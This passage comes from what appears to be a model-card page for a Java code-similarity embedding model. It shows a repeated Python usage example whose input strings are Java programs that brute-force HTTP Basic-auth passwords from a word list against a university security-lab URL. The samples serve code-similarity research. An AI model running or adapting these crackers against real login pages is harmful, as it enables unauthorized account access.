getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - 